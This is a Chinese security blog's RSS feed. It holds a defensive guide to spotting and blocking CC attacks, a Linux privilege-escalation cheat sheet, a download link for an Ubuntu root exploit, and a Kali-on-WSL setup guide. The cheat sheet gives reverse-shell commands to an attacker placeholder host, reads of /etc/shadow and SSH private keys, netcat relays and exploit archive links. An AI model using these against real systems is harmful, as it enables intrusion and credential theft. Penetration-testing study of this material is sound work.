<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux &#8211; ChaBug安全</title>
	<atom:link href="/tags/linux/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 13 Aug 2018 15:48:42 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Linux防CC攻击</title>
		<link>/safeprotect/479.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 29 Jul 2018 09:36:27 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[运维]]></category>
		<guid isPermaLink="false">/?p=479</guid>

					<description><![CDATA[查看所有80端口的连接数 netstat -nat&#124;grep -i &#8220;80&#8221;&#124;wc -l 对连接的IP按连接数量进行排序 netstat -anp &#124; gr...]]></description>
										<content:encoded><![CDATA[<p><strong>查看所有80端口的连接数</strong></p>
<p>netstat -nat|grep -i &#8220;80&#8221;|wc -l</p>
<p><strong>对连接的IP按连接数量进行排序</strong></p>
<p>netstat -anp | grep &#8216;tcp\|udp&#8217; | awk &#8216;{print $5}&#8217; | cut -d: -f1 | sort | uniq -c | sort -nr</p>
<p>netstat -ntu | awk &#8216;{print $5}&#8217; | cut -d: -f1 | sort | uniq -c | sort -nr</p>
<p>#链接最多的前20</p>
<p>netstat -ntu | awk &#8216;{print $5}&#8217; | cut -d: -f1 | sort | uniq -c | sort -nr|head -20</p>
<p>netstat -ntu | awk &#8216;{print $5}&#8217; | egrep -o &#8220;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#8221; | sort | uniq -c | sort -nr</p>
<p>查找较多time_wait连接</p>
<p>netstat -n|grep TIME_WAIT|awk <span class="string">&#8216;{print $5}&#8217;</span>|sort|uniq -c|sort -rn|head -n20</p>
<p>查找较多的SYN连接</p>
<p>netstat -an | grep SYN | awk <span class="string">&#8216;{print $5}&#8217;</span> | awk -F: <span class="string">&#8216;{print $1}&#8217;</span> | sort | uniq -c | sort -nr | more</p>
<p><strong>查看TCP连接状态</strong></p>
<p>netstat -nat |awk &#8216;{print $6}&#8217;|sort|uniq -c|sort -rn</p>
<p>netstat -n | awk &#8216;/^tcp/ {print $NF}&#8217;|sort|uniq -c|sort -rn</p>
<p>netstat -n | awk &#8216;/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}&#8217;</p>
<p>netstat -n | awk &#8216;/^tcp/ {++state[$NF]}; END {for(key in state) print key,&#8221;\t&#8221;,state[key]}&#8217;</p>
<p>netstat -n | awk &#8216;/^tcp/ {++arr[$NF]};END {for(k in arr) print k,&#8221;\t&#8221;,arr[k]}&#8217;</p>
<p>netstat -ant | awk &#8216;{print $NF}&#8217; | grep -v &#8216;[a-z]&#8217; | sort | uniq -c</p>
<p><strong>查看80端口连接数最多的20个IP</strong></p>
<p>cat /www/web_logs/waitalone.cn_access.log|awk &#8216;{print $1}&#8217;|sort|uniq -c|sort -nr|head -100</p>
<p>tail -n 10000 /www/web_logs/waitalone.cn_access.log|awk &#8216;{print $1}&#8217;|sort|uniq -c|sort -nr|head -100</p>
<p>cat /www/web_logs/waitalone.cn_access.log|awk &#8216;{print $1}&#8217;|sort|uniq -c|sort -nr|head -100</p>
<p>netstat -anlp|grep 80|grep tcp|awk &#8216;{print $5}&#8217;|awk -F: &#8216;{print $1}&#8217;|sort|uniq -c|sort -nr|head -n20</p>
<p>netstat -ant |awk &#8216;/:80/{split($5,ip,&#8221;:&#8221;);++A[ip[1]]}END{for(i in A) print A,i}&#8217; |sort -rn|head -n20</p>
<p><strong>用tcpdump嗅探80端口的访问看看谁最高</strong></p>
<p>tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F&#8221;.&#8221; &#8216;{print $1&#8243;.&#8221;$2&#8243;.&#8221;$3&#8243;.&#8221;$4}&#8217; | sort | uniq -c | sort -nr |head -20</p>
<p><strong>查找较多time_wait连接</strong></p>
<p>netstat -n|grep TIME_WAIT|awk &#8216;{print $5}&#8217;|sort|uniq -c|sort -rn|head -n20</p>
<p><strong>查找较多的SYN连接</strong></p>
<p>netstat -an | grep SYN | awk &#8216;{print $5}&#8217; | awk -F: &#8216;{print $1}&#8217; | sort | uniq -c | sort -nr | more</p>
<p><strong>linux下实用iptables封ip段的一些常见命令：</strong></p>
<p>封单个IP的命令是：</p>
<p>iptables -I INPUT -s 211.1.0.0 -j DROP</p>
<p>封IP段的命令是：</p>
<p>iptables -I INPUT -s 211.1.0.0/16 -j DROP</p>
<p>iptables -I INPUT -s 211.2.0.0/16 -j DROP</p>
<p>iptables -I INPUT -s 211.3.0.0/16 -j DROP</p>
<p>封整个段的命令是：</p>
<p>iptables -I INPUT -s 211.0.0.0/8 -j DROP</p>
<p>封几个段的命令是：</p>
<p>iptables -I INPUT -s 61.37.80.0/24 -j DROP</p>
<p>iptables -I INPUT -s 61.37.81.0/24 -j DROP</p>
<p><strong>想在服务器启动自运行的话有三个方法：</strong></p>
<p>1、把它加到/etc/rc.local中</p>
<p>2、iptables-save &gt;/etc/sysconfig/iptables可以把你当前的iptables规则放到/etc/sysconfig/iptables中，系统启动iptables时自动执行。</p>
<p>3、service iptables save 也可以把你当前的iptables规则放/etc/sysconfig/iptables中，系统启动iptables时自动执行。</p>
<p>后两种更好此，一般iptables服务会在network服务之前启来，更安全。</p>
<p><strong>解封的话：</strong></p>
<p><strong><em>iptables -D INPUT -s IP地址 -j REJECT   #此命令执行后提示：no chain/target/match by that name.</em></strong></p>
<p>要封停一个IP，使用下面这条命令：</p>
<p>iptables -I INPUT -s ***.***.***.*** -j DROP</p>
<p>要解封一个IP，使用下面这条命令：</p>
<p>iptables -D INPUT -s ***.***.***.*** -j DROP</p>
<p>参数-I是表示Insert（添加），-D表示Delete（删除）。后面跟的是规则，INPUT表示入站，***.***.***.***表示要封停的IP，DROP表示放弃连接。</p>
<p>&nbsp;</p>
<p>iptables -F 全清掉了</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux提权技巧</title>
		<link>/web/416.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 18 May 2018 04:49:40 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[提权]]></category>
		<guid isPermaLink="false">/?p=211</guid>

					<description><![CDATA[提权遇到Linux你是不是手足无措？来看看这篇文章把。 1. 系统类型 1.1. 系统版本? cat /etc/issue cat /etc/*-release cat /etc/...]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-212" src="/wp-content/uploads/2018/05/mountains-on-mars.png.625x385_q100.png" alt="" width="616" height="385" /></p>
<p><span class="wpcom_tag_link"><a href="/tags/%e6%8f%90%e6%9d%83" title="提权" target="_blank">提权</a></span>遇到<span class="wpcom_tag_link"><a href="/tags/linux" title="Linux" target="_blank">Linux</a></span>你是不是手足无措？来看看这篇文章把。</p>
<h2 id="系统类型">1. 系统类型</h2>
<h3 id="系统版本?">1.1. 系统版本?</h3>
<pre class="language-"><code>cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
</code></pre>
<h3 id="内核版本">1.2. 内核版本</h3>
<pre class="language-"><code>cat /proc/version  
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
</code></pre>
<h3 id="环境变量">1.3. 环境变量</h3>
<pre class="language-"><code>cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
</code></pre>
<h3 id="是否有台打印机？">1.4. 是否有台打印机？</h3>
<pre class="language-"><code>lpstat -a
</code></pre>
<h2 id="应用与服务">2. 应用与服务</h2>
<h3 id="运行服务，_服务用户权限">2.1. 运行服务， 服务用户权限</h3>
<pre class="language-"><code>ps aux
ps -ef
top
cat /etc/service
</code></pre>
<h3 id="服务具有root的权限，_这些服务里你看起来那些有漏洞_进行再次检查">2.2. 服务具有root的权限， 这些服务里你看起来那些有漏洞,进行再次检查</h3>
<pre class="language-"><code>ps aux | grep root
ps -ef | grep root
</code></pre>
<h3 id="安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？">2.3. 安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？</h3>
<pre class="language-"><code>ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
</code></pre>
<h3 id="Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？">2.4. Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？</h3>
<pre class="language-"><code>cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
</code></pre>
<h3 id="主机上有哪些工作计划？">2.5. 主机上有哪些工作计划？</h3>
<pre class="language-"><code>crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
</code></pre>
<h3 id="主机上可能有哪些纯文本用户名和密码?">2.6. 主机上可能有哪些纯文本用户名和密码?</h3>
<pre class="language-"><code>grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
</code></pre>
<h2 id="通信与网络">3. 通信与网络</h2>
<h3 id="NIC(s)，系统有哪些？它是连接到哪一个网络？">3.1. NIC(s)，系统有哪些？它是连接到哪一个网络？</h3>
<pre class="language-"><code>/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
</code></pre>
<h3 id="网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？">3.2. 网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？</h3>
<pre class="language-"><code>cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
</code></pre>
<h3 id="其他用户主机与系统的通信？">3.3. 其他用户主机与系统的通信？</h3>
<pre class="language-"><code>lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
</code></pre>
<h3 id="缓存？IP和_或MAC地址?">3.4. 缓存？IP和/或MAC地址?</h3>
<pre class="language-"><code>arp -e
route
/sbin/route -nee
</code></pre>
<p>数据包可能嗅探吗？可以看出什么？监听流量</p>
<pre class="language-"><code># tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
</code></pre>
<h3 id="你如何get一个shell？你如何与系统进行交互？">3.5. 你如何get一个shell？你如何与系统进行交互？</h3>
<pre class="language-"><code>[1]:
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

# Attacker. 输入 (命令)
nc -lvp 4444    
# Attacker. 输出(结果)
nc -lvp 4445    
# 在目标系统上. 使用 攻击者的IP!
telnet [attacker's ip] 44444 | /bin/sh | [local ip] 44445

[2]:
# Attacker 输入命令，输出结果
nc -lvp 4444  

# 目标系统
nc -e /bin/bash attacker_ip 4444
</code></pre>
<h3 id="如何端口转发？（端口重定向）">3.6. 如何端口转发？（端口重定向）</h3>
<pre class="language-"><code># rinetd

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
#mknod

# mknod backpipe p ; nc -l -p [remote port] &lt; backpipe  | nc [local IP] [local port] &gt;backpipe
mknod backpipe p ; nc -l -p 8080 &lt; backpipe | nc 10.1.1.251 80 &gt;backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1&gt;backpipe    # Proxy (Port 80 to 8080)
mknod

backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow &amp; 1&gt;backpipe    # Proxy monitor (Port 80 to 8080)
</code></pre>
<h3 id="建立隧道可能吗？本地，远程发送命令">3.7. 建立隧道可能吗？本地，远程发送命令</h3>
<pre class="language-"><code>ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
</code></pre>
<h2 id="秘密信息和用户">4. 秘密信息和用户</h2>
<h3 id="你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？">4.1. 你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？</h3>
<pre class="language-"><code>id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: <span class="token entity" title="'">&amp;#039;</span>$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}<span class="token entity" title="'">&amp;#039;</span> /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l
</code></pre>
<h3 id="可以找到什么敏感文件？">4.2. 可以找到什么敏感文件？</h3>
<pre class="language-"><code>cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
</code></pre>
<h3 id="什么有趣的文件在home_directorie（S）里？如果有权限访问">4.3. 什么有趣的文件在home/directorie（S）里？如果有权限访问</h3>
<pre class="language-"><code>ls -ahlR /root/
ls -ahlR /home/
</code></pre>
<h3 id="是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置">4.4. 是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置</h3>
<pre class="language-"><code>cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
</code></pre>
<h3 id="用户做过什么？是否有任何密码呢？他们有没有编辑什么？">4.5. 用户做过什么？是否有任何密码呢？他们有没有编辑什么？</h3>
<pre class="language-"><code>cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
</code></pre>
<h3 id="可以找到什么样的用户信息">4.6. 可以找到什么样的用户信息</h3>
<pre class="language-"><code>cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key
</code></pre>
<h3 id="信息能否被发现？">4.7. 信息能否被发现？</h3>
<pre class="language-"><code>cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
</code></pre>
<h2 id="文件系统">5. 文件系统</h2>
<h3 id="哪些用户可以写配置文件在__etc__？能够重新配置服务？">5.1. 哪些用户可以写配置文件在/ etc /？能够重新配置服务？</h3>
<pre class="language-"><code>ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2&gt;/dev/null     # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2&gt;/dev/null        # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2&gt;/dev/null    # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2&gt;/dev/null          # Other
find /etc/ -readable -type f 2&gt;/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2&gt;/dev/null   # Anyone
</code></pre>
<h3 id="在__var__有什么可以发现？">5.2. 在/ var /有什么可以发现？</h3>
<pre class="language-"><code>ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
</code></pre>
<h3 id="网站上的任何隐藏配置_文件?配置文件与数据库信息？">5.3. 网站上的任何隐藏配置/文件?配置文件与数据库信息？</h3>
<pre class="language-"><code>ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
</code></pre>
<h3 id="有什么在日志文件里?（什么能够帮助到“本地文件包含”?)">5.4. 有什么在日志文件里?（什么能够帮助到“本地文件包含”?)</h3>
<pre class="language-"><code># http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,

mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
</code></pre>
<h3 id="如果命令限制，你可以打出哪些突破它的限制？">5.5. 如果命令限制，你可以打出哪些突破它的限制？</h3>
<pre class="language-"><code>python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
</code></pre>
<h3 id="如何安装文件系统？">5.6. 如何安装文件系统？</h3>
<pre class="language-"><code>mount
df -h
</code></pre>
<h3 id="是否有挂载的文件系统？">5.7. 是否有挂载的文件系统？</h3>
<pre class="language-"><code>cat /etc/fstab
</code></pre>
<h3 id="什么是高级Linux文件权限使用？Sticky_bits__SUID_和GUID">5.8. 什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID</h3>
<pre class="language-"><code>find / -perm -1000 -type d 2&gt;/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2&gt;/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2&gt;/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2&gt;/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2&gt;/dev/null; done    #
Looks in <span class="token entity" title="'">&amp;#039;</span>common<span class="token entity" title="'">&amp;#039;</span> places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2&gt;/dev/null
</code></pre>
<h3 id="在哪些目录可以写入和执行呢？几个“共同”的目录：__tmp目录，_var___tmp目录__dev__shm目录">5.9. 在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录</h3>
<pre class="language-"><code>find / -writable -type d 2&gt;/dev/null        # world-writeable folders
find / -perm -222 -type d 2&gt;/dev/null      # world-writeable folders
find / -perm -o+w -type d 2&gt;/dev/null    # world-writeable folders
find / -perm -o+x -type d 2&gt;/dev/null    # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2&gt;/dev/null   # world-writeable &amp; executable folders
Any "problem" files？可写的的，“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files
</code></pre>
<h2 id="准备和查找漏洞利用代码">6. 准备和查找漏洞利用代码</h2>
<h3 id="安装了什么开发工具_语言_支持？">6.1. 安装了什么开发工具/语言/支持？</h3>
<pre class="language-"><code>find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
</code></pre>
<h3 id="如何上传文件？">6.2. 如何上传文件？</h3>
<pre class="language-"><code>find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
</code></pre>
<h3 id="查找exploit代码">6.3. 查找exploit代码</h3>
<p><a href="http://www.exploit-db.com/" target="_blank" rel="noopener">http://www.exploit-db.com/</a></p>
<p><a href="http://1337day.com/" target="_blank" rel="noopener">http://1337day.com/</a></p>
<p><a href="http://www.securiteam.com/" target="_blank" rel="noopener">http://www.securiteam.com/</a></p>
<p><a href="http://www.securityfocus.com/" target="_blank" rel="noopener">http://www.securityfocus.com/</a></p>
<p><a href="http://www.exploitsearch.net/" target="_blank" rel="noopener">http://www.exploitsearch.net/</a></p>
<p><a href="http://metasploit.com/modules/" target="_blank" rel="noopener">http://metasploit.com/modules/</a></p>
<p><a href="http://securityreason.com/" target="_blank" rel="noopener">http://securityreason.com/</a></p>
<p><a href="http://seclists.org/fulldisclosure/" target="_blank" rel="noopener">http://seclists.org/fulldisclosure/</a></p>
<p><a href="http://www.google.com/" target="_blank" rel="noopener">http://www.google.com/</a></p>
<p>查找更多有关漏洞的信息</p>
<p><a href="http://www.cvedetails.com/" target="_blank" rel="noopener">http://www.cvedetails.com/</a></p>
<p><a href="http://packetstormsecurity.org/files/cve/[CVE" target="_blank" rel="noopener">http://packetstormsecurity.org/files/cve/[CVE</a>]</p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE" target="_blank" rel="noopener">http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE</a>]</p>
<p><a href="http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE" target="_blank" rel="noopener">http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE</a>]</p>
<p><a href="http://www.91ri.org/" target="_blank" rel="noopener">http://www.91ri.org/</a></p>
<p>(快速）“共同的“exploit,预编译二进制代码文件</p>
<p><a href="http://tarantula.by.ru/localroot/" target="_blank" rel="noopener">http://tarantula.by.ru/localroot/</a></p>
<p><a href="http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/" target="_blank" rel="noopener">http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/</a></p>
<p>上面的信息很难吗？</p>
<p>快去使用第三方脚本/工具来试试吧！</p>
<h3 id="系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？">6.4. 系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？</h3>
<pre class="language-"><code>apt-get update &amp;&amp; apt-get upgrade
yum update
</code></pre>
<h3 id="服务运行所需的最低的权限？">6.5. 服务运行所需的最低的权限？</h3>
<p>例如，你需要以root身份运行MySQL？</p>
<p>能够从以下网站找到自动运行的脚本？！</p>
<p><a href="http://pentestmonkey.net/tools/unix-privesc-check/" target="_blank" rel="noopener">http://pentestmonkey.net/tools/unix-privesc-check/</a></p>
<p><a href="http://labs.portcullis.co.uk/application/enum4linux/" target="_blank" rel="noopener">http://labs.portcullis.co.uk/application/enum4linux/</a></p>
<p><a href="http://bastille-linux.sourceforge.net/" target="_blank" rel="noopener">http://bastille-linux.sourceforge.net/</a></p>
<p>（快速）指南和链接</p>
<p>例如</p>
<p><a href="http://www.0daysecurity.com/penetration-testing/enumeration.html" target="_blank" rel="noopener">http://www.0daysecurity.com/penetration-testing/enumeration.html</a></p>
<p><a href="http://www.microloft.co.uk/hacking/hacking3.htm" target="_blank" rel="noopener">http://www.microloft.co.uk/hacking/hacking3.htm</a></p>
<p>其他</p>
<p><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf" target="_blank" rel="noopener">http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf</a></p>
<p><a href="http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf" target="_blank" rel="noopener">http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf</a></p>
<p><a href="http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html" target="_blank" rel="noopener">http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ubuntu提权exp</title>
		<link>/tools/378.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 16 Mar 2018 21:51:43 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[内核]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=286</guid>

					<description><![CDATA[V@1n3R大咖复现的 链接: https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw 密码: hfxv]]></description>
										<content:encoded><![CDATA[<p>V@1n3R大咖复现的</p>
<p><img src="/wp-content/uploads/2018/03/578379254.jpg" alt="1.jpg" title="1.jpg"><br />链接: <a href="https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw">https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw</a> 密码: hfxv</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>win10安装Kali Linux子系统和桌面环境</title>
		<link>/tools/373.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 07 Mar 2018 17:30:00 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[win10]]></category>
		<category><![CDATA[子系统]]></category>
		<guid isPermaLink="false">/?p=277</guid>

					<description><![CDATA[官方资讯 https://www.kali.org/news/kali-linux-in-the-windows-app-store/ 在过去的几周里，我们一直在与微软WSL团队合...]]></description>
										<content:encoded><![CDATA[<blockquote><p>官方资讯 <a href="https://www.kali.org/news/kali-linux-in-the-windows-app-store/">https://www.kali.org/news/kali-linux-in-the-windows-app-store/</a></p></blockquote>
<p><img src="https://www.kali.org/wp-content/uploads/2017/11/kali-release-600x284.png" alt="" title=""></p>
<blockquote><p>在过去的几周里，我们一直在与微软WSL团队合作，将Kali <span class="wpcom_tag_link"><a href="/tags/linux" title="Linux" target="_blank">Linux</a></span>作为官方WSL发行版引入Microsoft App Store，今天我们很高兴地宣布推出“Kali Linux”Windows应用程序。对于Windows 10用户，这意味着您可以简单地启用WSL，在Windows存储中搜索Kali，并通过单击进行安装。对于渗透测试人员和安全专业人士来说，这是一个令人兴奋的消息，因为企业合规性标准导致工具集有限。</p></blockquote>
<p>虽然在Windows上运行Kali有一些本地运行（例如缺乏原始套接字支持）的缺点，但它带来了一些非常有趣的可能性，例如扩展您的安全工具包以包括一大堆命令行工具目前在卡利。我们将更新我们的博客，并发布更多有关此应用程序发展的新闻和更新。</p>
<h1>在WSL上安装Kali Linux</h1>
<p>以下是设置和安装过程的简要说明。</p>
<ol>
<li>
<p>更新您的Windows 10机器。打开一个管理PowerShell窗口并使用这一行代码安装Windows<span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e7%b3%bb%e7%bb%9f" title="子系统" target="_blank">子系统</a></span>。完成后需要重新启动。</p>
<pre><code>Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux</code></pre>
</li>
<li>重新启动后，打开Windows App商店并搜索“Kali Linux”应用程序，或者点击此处直接进入。安装应用程序并享受卡莉！</li>
</ol>
<h1>升级Kali</h1>
<pre><code>apt-get update
apt-get dist-upgrade</code></pre>
<h1>桌面环境</h1>
<p>安装wget之后运行</p>
<pre><code>wget https://kali.sh/xfce4.sh
sudo ./xfce4.sh
sudo /etc/init.d/xrdp start</code></pre>
<p>然后远程链接127.0.0.1:3390即可进入kali的桌面环境</p>
<h1>tips</h1>
<ol>
<li>未集成工具</li>
<li>一些工具可能不能正常运行</li>
</ol>
